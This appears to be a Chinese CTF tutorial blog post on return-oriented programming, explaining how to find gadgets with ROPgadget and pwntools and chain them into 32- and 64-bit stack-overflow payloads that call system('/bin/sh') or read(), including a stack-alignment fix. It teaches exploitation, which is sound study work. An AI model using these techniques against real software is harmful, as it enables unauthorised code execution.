:ROP 基础建设——32/64 位传参 Gadget 查找与拼接实战)
写在前面在上一篇 ret2libc 实战中我们为了调用puts(putsgot)第一次引入了pop rdi; ret这个概念。在 NX 保护主导的今天ROPReturn-Oriented Programming面向返回编程是我们构建漏洞利用链的核心积木。本文将带你深入理解 ROP 的本质并实战演练 32 位与 64 位下多参数传递的 Gadget 拼接技巧。 目录核心概念什么是 ROP Gadget神器推荐ROPgadget 与 pwntools 查找技巧32 位实战栈传参下的system(/bin/sh)构造64 位实战寄存器传参下的多参数拼接rdi → rsi → rdx避坑指南栈对齐与“残缺” Gadget 的利用1. 核心概念什么是 ROP Gadget当栈不可执行时我们不能注入代码但可以复用程序中已有的代码片段。Gadget小工具就是一段以ret指令结尾的汇编代码片段。例如pop rdi; ret。ROP 链的运行逻辑通过栈溢出我们把一系列 Gadget 的地址和需要的参数按顺序铺在栈上。CPU 执行完一个 Gadget 遇到ret时就会从栈上弹出下一个 Gadget 的地址继续执行。这就如同把各种现成的乐高积木Gadget拼接在一起拼凑出一段具有完整功能的逻辑。2. 神器推荐ROPgadget 与 pwntools 查找技巧寻找 Gadget 最常用的命令行工具是ROPgadget。基础查找命令# 查找所有以 pop rdi 开头的 gadget ROPgadget --binary vuln --only pop|ret | grep rdi假设性输出模拟终端0x0000000000401191 : pop rsi ; pop r15 ; ret 0x0000000000401193 : pop rdi ; ret*(注64 位程序中最干净的pop rdi; ret通常位于__libc_csu_init函数的末尾这也是后续 ret2csu 技术的雏形。)*在 Pwntools 中也可以直接使用 ROP 模块自动寻找from pwn import * elf ELF(./vuln) rop ROP(elf) pop_rdi rop.find_gadget([pop rdi, ret])[0] log.info(fpop_rdi addr: {hex(pop_rdi)})3. 32 位实战栈传参下的system(/bin/sh)构造在 32 位 Linux 中函数参数通过栈传递。调用约定为参数从右向左依次压栈最后压入返回地址。目标调用system(/bin/sh)。已知条件偏移量offset 28system_addr 0x08048460bin_sh_addr 0x0804a024。栈结构设计32位低地址 | 28字节填充 (A*28) | | system_addr (0x08048460) | - 覆盖返回地址ret 后跳到 system | 0xdeadbeef (假返回地址) | - system 执行完返回哪通常不用管 | bin_sh_addr (0x0804a024) | - system 的第一个参数 高地址注32 位下不需要专门找popgadget 传参因为参数本来就是跟在返回地址后面入栈的。Pwntools 构造代码payload bA * 28 payload p32(system_addr) payload p32(0xdeadbeef) # 随便填system 拿 shell 后不会返回 payload p32(bin_sh_addr)4. 64 位实战寄存器传参下的多参数拼接64 位 Linux 前 6 个参数通过寄存器传递rdi,rsi,rdx,rcx,r8,r9。假设我们需要调用read(0, bss_addr, 0x100)需要控制三个寄存器rdi 0(fd)rsi bss_addr(buf)rdx 0x100(count)假设性 Gadget 查找结果0x0000000000401193 : pop rdi ; ret 0x0000000000401191 : pop rsi ; pop r15 ; ret 0x000000000040118a : pop rdx ; ret栈结构设计64位多参数拼接低地址 | 40字节填充 (A*40) | | pop_rdi_addr (0x401193) | - ret 跳到这里 | 0x0 | - pop rdi 把 0 弹入 rdi | pop_rsi_addr (0x401191) | - ret 跳到这里 | bss_addr | - pop rsi 把 bss_addr 弹入 rsi | 0x0 | - pop r15 弹走垃圾数据占位用 | pop_rdx_addr (0x40118a) | - ret 跳到这里 | 0x100 | - pop rdx 把 0x100 弹入 rdx | read_addr | - ret 跳到 read 函数 高地址Pwntools 构造代码pop_rdi 0x401193 pop_rsi_r15 0x401191 pop_rdx 0x40118a payload bA * 40 # 设置 rdi 0 payload p64(pop_rdi) p64(0) # 设置 rsi bss_addr, r15 随便填 payload p64(pop_rsi_r15) p64(bss_addr) p64(0) # 设置 rdx 0x100 payload p64(pop_rdx) p64(0x100) # 调用 read payload p64(elf.plt[read])只要栈空间够我们可以像接力赛一样无限拼接下去这就是 ROP 的威力5. 避坑指南栈对齐与“残缺” Gadget 的利用坑 164 位的 16 字节栈对齐在 64 位调用system时经常会遇到明明地址都对但就是段错误。原因system内部调用了movaps XMMWORD PTR [rsp0x50], xmm0指令该指令要求RSP必须是 16 字节对齐末尾为0x00。解决办法在system地址前加一个无用的ret指令地址让栈指针多偏移 8 字节强行对齐。ret_gadget 0x40101a # 任意一个单独的 ret payload p64(pop_rdi) p64(bin_sh_addr) payload p64(ret_gadget) # 垫一步对齐栈 payload p64(system_addr)坑 2找不到pop rdx怎么办很多小程序里根本没有现成的pop rdx; ret。解决办法利用__libc_csu_init中的残缺 Gadget这就是大名鼎鼎的ret2csu技术的核心下一篇会专门讲解。如果只是为了让rdx变大比如read的 count 参数可以调用printf或其他函数因为它们执行完后rdx会自然变大然后再返回到我们的漏洞函数进行二次溢出。6. 结语ROP 的本质就是“搭积木”。理解了 32 位靠栈传参、64 位靠寄存器传参的本质你就拥有了拼接任意函数调用的能力。但在实际 CTF 题目中程序往往很小找不到足够的pop指令。这时候我们就必须祭出 CTF 必考的“万能 Gadget”——ret2csu。下一篇我们将专项攻克这个难点。如果本文对你有帮助请点赞收藏支持